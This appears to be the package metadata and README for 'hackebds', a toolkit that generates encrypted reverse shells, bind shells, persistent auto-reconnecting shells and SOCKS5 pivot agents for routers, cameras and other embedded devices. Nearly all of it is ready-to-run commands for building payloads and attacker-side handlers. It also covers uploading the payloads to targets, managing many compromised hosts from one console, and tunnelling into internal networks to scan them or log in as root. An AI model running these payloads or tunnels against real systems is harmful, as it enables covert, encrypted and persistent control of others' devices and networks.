Metadata-Version: 2.1
Name: hackebds
Version: 0.4.3
Summary: A security research toolkit for embedded device shellcode generation and vulnerability analysis
License: MIT
Requires-Python: >=3.8
Requires-Dist: pwntools
Requires-Dist: colorama
Requires-Dist: requests
Requires-Dist: multidict
Requires-Dist: fuzzywuzzy
Description-Content-Type: text/markdown

# hackebds

A security research toolkit for embedded device shellcode generation, vulnerability analysis, and **SOCKS5 proxy tunneling** with **ChaCha20 end-to-end encryption**.

> Status note: the current tree is now **pure ELF only** for encrypted shell/proxy workflows. Python `-server ...` runtime modes are no longer part of the supported path. Use ELF-to-ELF pairs instead:
> `reverse_shell_file` + `encrypted_shell_server`/`reverse_shell_server`,
> `bind_shell` + `bind_shell_client`,
> `reverse_proxy_file` + `reverse_proxy_server`,
> `forward_proxy_file`.

## Features

- Multi-architecture shellcode generation (ARM, MIPS, PowerPC, SPARC, AArch64, x86/x64, RISC-V)
- Reverse shell and bind shell payloads (standard + persistent fork-based)
- **ChaCha20 encrypted shell** — all shell I/O traffic encrypted end-to-end (6 architectures)
- **ChaCha20 encrypted bind shell** — password-authenticated encrypted bind shell (6 architectures)
- **ChaCha20 encrypted power shell** — persistent reconnecting encrypted shell (6 architectures)
- **SOCKS5 reverse/forward proxy** — pure assembly ELF binaries (~2-5KB)
- **ChaCha20 encrypted SOCKS5 tunnel** — agent-server encrypted proxy (6 architectures)
- **SOCKS5 authentication** — RFC 1929 username/password auth
- Firmware analysis tools
- CVE vulnerability database
- CPU-specific code generation (-mcpu)
- Integration with pwntools

## Supported Architecture Matrix

| Feature | aarch64 | x64 | ARM LE | ARM BE | MIPS | MIPSEL |
|---|:---:|:---:|:---:|:---:|:---:|:---:|
| Encrypted Reverse Shell | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Encrypted Bind Shell | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Encrypted Power Shell | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Encrypted SOCKS5 Proxy | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Plain Reverse Shell | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Plain Bind Shell | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |
| Plain SOCKS5 Proxy | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ |

## Installation

```bash
pip install hackebds

# Or from wheel
pip install hackebds-0.4.3-cp38-abi3-manylinux2014_aarch64.whl

# Or development mode
pip install -e .
```

## Build Release Wheel On x86 Linux

If you want to upload the source tree to an x86 Linux build machine and build the release wheel there, use `build_release.py`.

```bash
# 1. unzip the source package on the x86 build host
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z

# 2. install local build dependencies
python3 -m pip install -U pip setuptools wheel cython

# 3. build the x86_64 release wheel
python3 build_release.py --plat manylinux2014_x86_64

# 4. inspect the resulting wheel
python3 - <<'PY'
import glob, zipfile
wheel = sorted(glob.glob('dist/*.whl'))[-1]
print('wheel =', wheel)
with zipfile.ZipFile(wheel) as zf:
    py = [(i.filename, i.file_size) for i in zf.infolist() if i.filename.endswith('.py')]
print('py files =', py)
PY
```

Expected result:
- the wheel is produced under `dist/`
- the wheel should only contain the tiny `hackebds/__init__.py` stub
- no other `.py` source files should be present in the wheel

## Pure ELF Quick Start

The supported encrypted workflows are pure ELF pairs:
- `reverse_shell_file` + `encrypted_shell_server` or `reverse_shell_server`
- `bind_shell` + `bind_shell_client`
- `reverse_proxy_file` + `reverse_proxy_server`
- `forward_proxy_file`

The examples below use `chacha20`. To use AES instead, change `-cipher chacha20` to `-cipher aes` and keep the same `-encrypt_key` on both sides.

### 1. Encrypted Reverse Shell

Attacker side:

```bash
hackebds -arch x64 -res encrypted_shell_server \
  -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_server.elf

chmod +x reverse_server.elf
./reverse_server.elf
```

Target side:

```bash
hackebds -arch mipsel -res reverse_shell_file \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_payload.elf

chmod +x reverse_payload.elf
./reverse_payload.elf
```

After the connection is established, type commands in the `encrypted_shell_server` terminal:

```bash
id
uname -a
exit
```

### 2. Encrypted Bind Shell

Target side:

```bash
hackebds -arch aarch64 -res bind_shell \
  -bind_port 5555 -passwd "s3cr3t" \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_shell.elf

chmod +x bind_shell.elf
./bind_shell.elf
```

Attacker side:

```bash
hackebds -arch x64 -res bind_shell_client \
  -reverse_ip 192.168.56.20 -reverse_port 5555 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_client.elf

chmod +x bind_client.elf
./bind_client.elf
```

When prompted, enter the password and then run commands:

```text
s3cr3t
id
uname -a
exit
```

### 3. Encrypted Reverse SOCKS5 Proxy

Attacker side:

```bash
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_server.elf

chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf
```

Target side:

```bash
hackebds -arch mips64el -res reverse_proxy_file \
  -reverse_ip 192.168.56.1 -reverse_port 7000 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_agent.elf

chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf
```

Client test from attacker side:

```bash
curl --socks5-hostname 127.0.0.1:1080 http://example.com/
```

If you want SOCKS5 authentication on the server:

```bash
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -socks_auth user:pass \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_server_auth.elf
```

### 4. Forward SOCKS5 Proxy

`forward_proxy_file` is a local SOCKS5 listener ELF. It does not use `-cipher` because there is no reverse agent/server tunnel in this mode.

```bash
hackebds -arch x64 -res forward_proxy_file \
  -listen_port 1081 \
  -filename forward_proxy.elf

chmod +x forward_proxy.elf
./forward_proxy.elf
```

Client test:

```bash
curl --socks5-hostname 127.0.0.1:1081 http://example.com/
```

### 5. Persistent Reverse Shell

Use `--power` on both sides if you want the target to reconnect automatically and the listener to keep waiting after disconnects.

```bash
hackebds -arch x64 -res encrypted_shell_server --power \
  -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_server.elf

hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_payload.elf
```

### Cross-compilation tools

```bash
# Required toolchains for target architectures
sudo apt install binutils-aarch64-linux-gnu       # AArch64
sudo apt install binutils-arm-linux-gnueabi        # ARM (v5/v7 LE/BE)
sudo apt install binutils-mips-linux-gnu           # MIPS (BE)
sudo apt install binutils-mipsel-linux-gnu         # MIPSEL (LE)
sudo apt install binutils-x86-64-linux-gnu         # x86_64 (on non-x64 host)
sudo apt install binutils-mips64-linux-gnuabi64    # MIPS64 (optional)
sudo apt install binutils-mips64el-linux-gnuabi64  # MIPS64EL (optional)
sudo apt install binutils-powerpc-linux-gnu        # PowerPC (optional)
sudo apt install binutils-riscv64-linux-gnu        # RISC-V 64 (optional)
```

---

## Encrypted Reverse Shell

ChaCha20-encrypted reverse shell. All stdin/stdout traffic between shell and attacker is encrypted end-to-end using the pipe+fork relay pattern.

```
Target (IoT/Embedded)              Attacker
+-------------------+              +----------------------------+
| Encrypted Shell   |---connect--->| Encrypted Shell Server ELF |
| ELF (~3-7KB)      |  encrypted   | encrypted_shell_server     |
|                   |  ChaCha20    | / reverse_shell_server     |
| pipe+fork relay:  |<------------>| decrypt -> terminal stdout |
| shell <-> encrypt |              | terminal stdin -> encrypt  |
| <-> socket        |              |                            |
+-------------------+              +----------------------------+
```

### Usage

**Step 1:** Generate the encrypted listener ELF on attacker machine:

```bash
hackebds -arch x64 -res reverse_shell_server \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename rserver

./rserver
```

**Step 2:** Generate the encrypted shell ELF for target architecture:

```bash
# AArch64
hackebds -arch aarch64 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# x86_64
hackebds -arch x64 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# ARM (little-endian, v7)
hackebds -arch armelv7 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# ARM (big-endian, v7)
hackebds -arch armebv7 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# ARM (little-endian, v5)
hackebds -arch armelv5 -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# MIPS (big-endian)
hackebds -arch mips -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell

# MIPSEL (little-endian)
hackebds -arch mipsel -res reverse_shell_file \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename eshell
```

**Step 3:** Upload and run on target:

```bash
./eshell
# Handler will show encrypted interactive terminal session
```

### Full PTY Terminal Mode (--pty)

Add `--pty` to get a full interactive terminal with tab completion, arrow keys, command history, and colored prompts. Requires `/dev/ptmx` and mounted devpts on target.

```bash
# Generate PTY shell (use /bin/bash for full features)
hackebds -arch aarch64 -res reverse_shell_file --pty \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -shell /bin/bash -filename eshell

# Handler must also use --pty for raw transparent relay
hackebds -server encrypted_shell_reverse --pty \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key"
```

**PTY vs Pipe mode comparison:**

| Feature | Default (pipe) | --pty |
|---|---|---|
| Tab completion | No | Yes (with bash) |
| Arrow key history | No | Yes (with bash) |
| Colored prompt | No | Yes |
| Ctrl+C to remote | No | Yes |
| Compatibility | All devices | Needs /dev/ptmx |
| Recommended for | Embedded/IoT | Linux servers |

**Note:** `--pty` requires:
- `/dev/ptmx` device file on target
- devpts filesystem mounted (`/dev/pts/`)
- Most Linux servers and OpenWrt routers have this
- Minimal BusyBox systems may NOT have it — use default pipe mode instead
- Currently supports aarch64; other architectures use pipe mode automatically

---

## Encrypted Bind Shell

Encrypted bind shell with password authentication. The shell listens on a port, requires a password, then provides an encrypted interactive session.

### Usage

**Step 1:** Generate the encrypted bind shell ELF:

```bash
# AArch64
hackebds -arch aarch64 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# x86_64
hackebds -arch x64 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# ARMv7 LE
hackebds -arch armelv7 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# ARMv7 BE
hackebds -arch armebv7 -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# MIPS
hackebds -arch mips -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind

# MIPSEL
hackebds -arch mipsel -res bind_shell \
         -bind_port 5555 -passwd "s3cret" \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename ebind
```

**Step 2:** Run on target:

```bash
./ebind
```

**Step 3:** Connect from attacker:

```bash
hackebds -server encrypted_shell_bind \
         -reverse_ip <target_ip> -reverse_port 5555 \
         -cipher chacha20 -encrypt_key "my_secret_key"

# Enter password when prompted (transmitted encrypted)
```

---

## Encrypted Persistent Reverse Shell (Power Mode)

Auto-reconnects with fork+sleep, all traffic encrypted. If the connection drops or the handler restarts, the shell will automatically reconnect after the sleep interval.

### Usage

**Step 1:** Generate persistent encrypted reverse shell:

```bash
# AArch64 - reconnect every 10 seconds
hackebds -arch aarch64 -res reverse_shell_file \
         --power -sleep 10 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename epshell

# x86_64
hackebds -arch x64 -res reverse_shell_file \
         --power -sleep 5 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key" \
         -filename epshell

# ARMv7 LE - for IoT devices
hackebds -arch armelv7 -res reverse_shell_file \
         --power -sleep 10 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "iot_key" \
         -filename epshell

# MIPS - for routers
hackebds -arch mips -res reverse_shell_file \
         --power -sleep 15 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "router_key" \
         -filename epshell

# MIPSEL
hackebds -arch mipsel -res reverse_shell_file \
         --power -sleep 5 \
         -reverse_ip <attacker_ip> -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -filename epshell
```

**Step 2:** Handler on attacker (same command for all architectures):

```bash
hackebds -server encrypted_shell_reverse \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_secret_key"
```

**Step 3:** Run on target — shell will reconnect automatically if connection drops:

```bash
./epshell
```

---

## Encrypted SOCKS5 Proxy

ChaCha20-encrypted SOCKS5 reverse proxy tunnel. Agent runs on target, connects back to server on attacker. All agent-server traffic is encrypted.

```
Target (IoT/Embedded)              Attacker
+-----------------+                +------------------+
| Agent ELF       |---connect----->| Server ELF       |
| (MIPS/ARM/etc)  |   encrypted    | (x64/aarch64)    |
|                 |<--SOCKS5------>|                  |
| connects to     |   tunnel       | listens on       |
| internal net    |                | socks_port       |
+-----------------+                +------------------+
                                          |
                                   proxychains/curl
                                          |
                                   access internal net
```

### Basic Usage (No Encryption)

```bash
# 1. Generate server (runs on attacker machine)
hackebds -res reverse_proxy_server -arch x64 \
         -agent_port 8888 -socks_port 1080 \
         -filename server

# 2. Generate agent (runs on target)
hackebds -res reverse_proxy_file -arch mips \
         -reverse_ip <attacker_ip> -reverse_port 8888 \
         -filename agent

# 3. Run server, then agent
./server    # on attacker
./agent     # on target

# 4. Use proxy
curl --socks5 127.0.0.1:1080 http://internal-target:8080
proxychains4 nmap -sT 192.168.1.0/24
```

### With ChaCha20 Encryption

```bash
# Server (attacker) - aarch64 or x64
hackebds -res reverse_proxy_server -arch aarch64 \
         -agent_port 8888 -socks_port 1080 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename server

# Agent (target) - any architecture, same key
hackebds -res reverse_proxy_file -arch mipsel \
         -reverse_ip <attacker_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename agent
```

### All Agent Architecture Commands (Encrypted)

```bash
# AArch64 agent
hackebds -arch aarch64 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# x86_64 agent
hackebds -arch x64 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# ARMv7 LE agent
hackebds -arch armelv7 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# ARMv7 BE agent
hackebds -arch armebv7 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# ARMv5 LE agent
hackebds -arch armelv5 -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# MIPS BE agent
hackebds -arch mips -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent

# MIPSEL agent
hackebds -arch mipsel -res reverse_proxy_file \
         -reverse_ip <server_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "key" -filename agent
```

### With SOCKS5 Authentication

```bash
# Server with auth + encryption
hackebds -res reverse_proxy_server -arch x64 \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth admin:secretpass \
         -cipher chacha20 -encrypt_key "key" \
         -filename server

# Client usage with auth
curl --socks5 admin:secretpass@127.0.0.1:1080 http://target:8080

# proxychains.conf
# socks5 127.0.0.1 1080 admin secretpass
```

### Forward Proxy (Direct SOCKS5)

Runs directly on the target, no server needed:

```bash
hackebds -res forward_proxy_file -arch mips \
         -listen_port 1080 -filename proxy

./proxy   # on target
curl --socks5 <target_ip>:1080 http://internal:8080   # from attacker
```

### Python Server Mode

Full-featured Python SOCKS5 server with management CLI:

```bash
hackebds -server socks5_reverse \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth admin:pass \
         -cipher chacha20 -encrypt_key "key"

# Management console
hackebds-proxy> status
hackebds-proxy> pool
hackebds-proxy> exit
```

---

## Plain (Non-Encrypted) Shell

### Standard Reverse Shell

```bash
hackebds -res reverse_shell_file -arch mips \
         -reverse_ip 10.10.10.1 -reverse_port 4444 \
         -filename shell
```

### Persistent Reverse Shell (fork-based)

```bash
hackebds -res reverse_shell_file -arch armelv7 \
         -reverse_ip 10.10.10.1 -reverse_port 4444 \
         --power -sleep 5 -filename shell
```

### Plain Bind Shell

```bash
hackebds -res bind_shell -arch aarch64 \
         -bind_port 4444 -passwd secret \
         -filename bshell
```

---

## Encrypted Shell Server (ELF)

Generate a standalone ELF binary to receive encrypted reverse shell connections. Similar to `reverse_proxy_server` but for interactive shell sessions.

```bash
# Generate ELF server (aarch64)
hackebds -arch aarch64 -res encrypted_shell_server \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -filename shell_server

# Generate ELF server (x64)
hackebds -arch x64 -res encrypted_shell_server \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key" \
         -filename shell_server

# Run server on attacker, then run shell on target
./shell_server            # on attacker, waits for connection
./eshell                  # on target, connects back
# Server enters interactive mode: type commands, see output
```

---

## Multi-Session Shell Manager

Manage multiple encrypted shell sessions from a single console. Supports tab completion, ghost-text autosuggestion, command history (arrow keys), per-IP session grouping, and power shell auto-dedup.

```bash
# Standalone shell manager
hackebds -server encrypted_shell_manager \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key"

# Unified server: SOCKS5 proxy + shell manager in one console
hackebds -server unified \
         -agent_port 8888 -socks_port 1080 \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "my_key"
```

### Console Commands

```
hackebds> help                    # Show all commands (supports TAB completion)
hackebds> status                  # Show server status
hackebds> list                    # List active sessions grouped by IP
hackebds> interact <id>           # Enter interactive shell (Ctrl+C to return)
hackebds> kill <id>               # Kill a session
hackebds> maxconn <n>             # Set max sessions per IP (default: 1)
hackebds> notify [on|off]         # Toggle new connection notifications
hackebds> pool                    # Show proxy agent pool (unified mode)
hackebds> exit                    # Stop and exit
```

### Features

- **Tab completion**: type partial command + TAB to complete
- **Ghost-text suggestion**: type `h` and see gray `elp` hint, TAB to accept
- **Command history**: arrow keys ↑↓ to recall previous commands
- **Per-IP grouping**: `list` groups sessions by source IP
- **Power shell dedup**: persistent shells (`--power`) from same IP auto-replace old session, keeping same ID
- **maxconn control**: `maxconn 3` allows up to 3 concurrent sessions per IP

### Example: Multi-target management

```bash
# Terminal 1: Start manager
hackebds -server encrypted_shell_manager \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "team_key"

# Terminal 2: Deploy shells to different targets
hackebds -arch mips -res reverse_shell_file \
         -reverse_ip 10.0.0.1 -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "team_key" \
         -filename router_shell

hackebds -arch armelv7 -res reverse_shell_file \
         -reverse_ip 10.0.0.1 -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "team_key" \
         -filename camera_shell

# Console output:
#   [+] Shell #1 connected from 192.168.1.1:39201
#   [+] Shell #2 connected from 192.168.1.50:41022
#
#   hackebds> list
#     192.168.1.1  (1 session)
#       #1   port:39201  alive  2026-04-07 22:00:01
#     192.168.1.50  (1 session)
#       #2   port:41022  alive  2026-04-07 22:00:05

# Interact with router:
#   hackebds> interact 1
#   id
#   uid=0(root) ...
#   (Ctrl+C to return)

# Interact with camera:
#   hackebds-shell> interact 2
#   cat /etc/config
#   ...
```

---

## Other Features

### Firmware Analysis

```bash
hackebds -fw firmware.bin
```

### CVE Database

```bash
hackebds -model "RT-AC68U" -s
hackebds -CVE CVE-2023-1234
```

### CPU-Specific Generation

```bash
hackebds -mcpu mips32r2 -li -res reverse_shell_file \
         -reverse_ip 10.0.0.1 -reverse_port 4444 -filename shell

hackebds --mcpu-list  # Show all supported CPUs
```

---

## Complete CLI Reference

```
Resource types (-res):
  reverse_shell_file      Standard or encrypted reverse shell ELF
  reverse_shellcode       Raw reverse shell shellcode
  bind_shell              Standard or encrypted bind shell ELF
  encrypted_shell_server  Encrypted shell server ELF (receive reverse shell)
  cmd_file                Command execution wrapper
  cveinfo                 CVE information lookup
  reverse_proxy_file      SOCKS5 reverse proxy agent ELF
  forward_proxy_file      SOCKS5 forward proxy ELF
  reverse_proxy_server    SOCKS5 reverse proxy server ELF

Architectures (-arch):
  aarch64                 AArch64 / ARM64
  x64                     x86_64 / AMD64
  x86                     x86 32-bit
  armelv5 / armelv7       ARM little-endian (v5 / v7)
  armebv5 / armebv7       ARM big-endian (v5 / v7)
  mips / mipsel           MIPS 32-bit (BE / LE)
  mips64 / mips64el       MIPS 64-bit N64 ABI (BE / LE)
  mipsn32 / mipsn32el     MIPS N32 ABI (BE / LE)
  powerpc / powerpcle     PowerPC 32-bit (BE / LE)
  powerpc64 / powerpc64le PowerPC 64-bit (BE / LE)
  riscv64                 RISC-V 64-bit
  sparc / sparc64         SPARC (32 / 64)
  android                 Android AArch64

Network options:
  -reverse_ip / -lhost    Reverse connection IP
  -reverse_port / -lport  Reverse connection port
  -bind_port / -bind      Bind shell listen port
  -passwd                 Bind shell password (default: 1234)

Proxy options:
  -agent_port             Agent connection port
  -socks_port             SOCKS5 client port (default: 1080)
  -listen_port            Forward proxy listen port
  -socks_auth             SOCKS5 auth as user:password

Encryption options:
  -cipher chacha20        Enable ChaCha20 encryption
  -encrypt_key <key>      Encryption passphrase (required with -cipher)

Shell options:
  -shell                  Shell path (default: /bin/sh, supports /bin/bash)
  --power                 Persistent fork-based mode (auto-reconnect)
  --pty                   Full PTY terminal (tab, arrows; needs /dev/ptmx)
  -sleep                  Reconnect interval in seconds (default: 5)

Server modes (-server):
  unified                  Proxy + shell manager in one console
  socks5_reverse           SOCKS5 reverse proxy server
  encrypted_shell_reverse  Single-session shell handler (reverse)
  encrypted_shell_bind     Single-session shell handler (bind)
  encrypted_shell_manager  Multi-session shell manager

Output:
  -filename / -f          Output filename
  -mcpu                   CPU type for assembly
  --mcpu-list             List all supported CPU types
  -fw / --firmware        Analyze firmware file
```

---

## Practical Examples

### Example 1: Encrypted reverse shell on MIPS router

```bash
# On attacker (start handler first):
hackebds -server encrypted_shell_reverse \
         -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "router_key_2024"

# Generate MIPS shell for the target router:
hackebds -arch mips -res reverse_shell_file \
         -reverse_ip 192.168.1.100 -reverse_port 4444 \
         -cipher chacha20 -encrypt_key "router_key_2024" \
         -filename mips_eshell

# Upload and run on target router -> encrypted interactive shell
```

### Example 2: Encrypted bind shell on ARM camera

```bash
# Generate ARM bind shell for the camera:
hackebds -arch armelv7 -res bind_shell \
         -bind_port 9999 -passwd "cam_pass" \
         -cipher chacha20 -encrypt_key "camera_key" \
         -filename arm_bind

# Upload and run on camera:
./arm_bind

# Connect from attacker:
hackebds -server encrypted_shell_bind \
         -reverse_ip 192.168.1.50 -reverse_port 9999 \
         -cipher chacha20 -encrypt_key "camera_key"
# Type password when "Passwd: " prompt appears
```

### Example 3: Persistent encrypted shell on ARM IoT device

```bash
# Generate persistent encrypted reverse shell (reconnects every 10s):
hackebds -arch armelv7 -res reverse_shell_file \
         --power -sleep 10 \
         -reverse_ip 10.0.0.1 -reverse_port 5555 \
         -cipher chacha20 -encrypt_key "iot_key" \
         -filename arm_persistent

# Handler on attacker:
hackebds -server encrypted_shell_reverse \
         -reverse_port 5555 \
         -cipher chacha20 -encrypt_key "iot_key"

# Shell will auto-reconnect if handler restarts
```

### Example 4: Full encrypted SOCKS5 tunnel through MIPSEL device

```bash
# Generate encrypted MIPSEL agent:
hackebds -arch mipsel -res reverse_proxy_file \
         -reverse_ip 10.0.0.1 -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename mips_agent

# Generate encrypted server (or use Python server):
hackebds -arch aarch64 -res reverse_proxy_server \
         -agent_port 8888 -socks_port 1080 \
         -cipher chacha20 -encrypt_key "tunnel_key" \
         -filename server

# Or use Python server with auth:
hackebds -server socks5_reverse \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth admin:pass \
         -cipher chacha20 -encrypt_key "tunnel_key"

# Use the tunnel:
curl --socks5 admin:pass@127.0.0.1:1080 http://192.168.1.1/admin
proxychains4 ssh root@192.168.1.1
```

### Example 5: Cross-architecture encrypted proxy (ARM agent + x64 server)

```bash
# x64 server on attacker laptop:
hackebds -arch x64 -res reverse_proxy_server \
         -agent_port 8888 -socks_port 1080 \
         -socks_auth user:pass \
         -cipher chacha20 -encrypt_key "cross_key" \
         -filename x64_server

# ARM BE agent on target device:
hackebds -arch armebv7 -res reverse_proxy_file \
         -reverse_ip <attacker_ip> -reverse_port 8888 \
         -cipher chacha20 -encrypt_key "cross_key" \
         -filename armeb_agent

# Run server, then agent. Use proxy:
./x64_server
# (on target) ./armeb_agent
curl --socks5 user:pass@127.0.0.1:1080 http://internal:8080
```

### Example 6: MIPS64 SOCKS5 proxy for enterprise router

```bash
hackebds -arch mips64 -res reverse_proxy_file \
         -reverse_ip 10.0.0.1 -reverse_port 8888 \
         -filename mips64_agent

hackebds -server socks5_reverse \
         -agent_port 8888 -socks_port 1080
```

---

## How Encryption Works

### ChaCha20 Stream Cipher

- **Key derivation:** passphrase → SHA-256 → 256-bit key
- **Same passphrase on both sides = same key**
- **Two separate nonces** prevent keystream reuse:
  - `nonce=0x01` for server→agent direction
  - `nonce=0x02` for agent→server direction
- **Streaming mode:** maintains position within 64-byte keystream blocks across multiple encrypt/decrypt calls

### Encrypted Shell Data Flow

1. Shell binary connects back (reverse) or listens (bind)
2. For bind shell: sends encrypted "Passwd: " prompt, reads+decrypts password, verifies
3. Creates two pipe pairs for stdin and stdout
4. Forks: child process runs `/bin/sh` with pipes as stdin/stdout
5. Parent process runs encrypted relay loop:
   - Reads from socket → **ChaCha20 decrypt** → writes to shell's stdin pipe
   - Reads from shell's stdout pipe → **ChaCha20 encrypt** → writes to socket
6. Python handler on attacker side does the inverse

### Generated ELF Sizes

| Type | Architecture | Size |
|---|---|---|
| Encrypted Reverse Shell | x64 | ~6.9 KB |
| Encrypted Reverse Shell | aarch64 | ~3.4 KB |
| Encrypted Reverse Shell | ARMv7 | ~3.1 KB |
| Encrypted Reverse Shell | MIPS | ~3.9 KB |
| Encrypted Bind Shell | x64 | ~7.2 KB |
| Encrypted Bind Shell | aarch64 | ~4.0 KB |
| Encrypted Bind Shell | ARMv7 | ~3.7 KB |
| Encrypted Bind Shell | MIPS | ~4.3 KB |
| Encrypted Power Reverse | x64 | ~7.0 KB |
| Proxy Agent (encrypted) | any | ~3.5-5.0 KB |
| Proxy Server (encrypted) | any | ~3.5-5.0 KB |
| Proxy Agent (plain) | any | ~1.5-2.0 KB |

---

## Requirements

- Python >= 3.8
- pwntools
- colorama
- Cross-architecture binutils (for non-native targets, see Installation)

## License

MIT License
